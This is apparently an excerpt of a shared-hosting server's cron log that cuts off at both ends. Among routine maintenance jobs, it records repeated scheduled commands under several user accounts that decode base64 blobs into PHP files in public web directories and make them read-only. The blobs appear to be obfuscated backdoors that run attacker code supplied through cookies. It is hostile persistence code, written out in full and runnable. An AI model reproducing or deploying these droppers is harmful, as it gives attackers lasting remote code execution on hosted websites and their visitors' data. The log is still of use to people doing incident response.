"$fp")
Jun  7 06:36:01 medusa CROND[10136]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:36:01 medusa CROND[10137]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:36:01 medusa CROND[10138]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:36:01 medusa CROND[10139]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:36:01 medusa CROND[10135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:37:01 medusa CROND[12065]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 06:37:01 medusa CROND[12067]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:37:01 medusa CROND[12068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:37:01 medusa CROND[12069]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Jun  7 06:37:01 medusa CROND[12070]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:37:01 medusa CROND[12073]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:37:01 medusa CROND[12075]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:37:01 medusa CROND[12076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:37:01 medusa CROND[12077]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:37:01 medusa CROND[12078]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:37:01 medusa CROND[12079]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:37:01 medusa CROND[12080]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 06:37:01 medusa CROND[12081]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:37:01 medusa CROND[12083]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:38:01 medusa CROND[13940]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:38:01 medusa CROND[13988]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:38:01 medusa CROND[13989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:38:01 medusa CROND[13990]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:38:01 medusa CROND[13991]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:38:01 medusa CROND[13995]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:38:01 medusa CROND[13999]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:38:01 medusa CROND[14001]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:38:01 medusa CROND[14004]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:38:01 medusa CROND[14002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:38:01 medusa CROND[14007]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 06:38:01 medusa CROND[14008]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI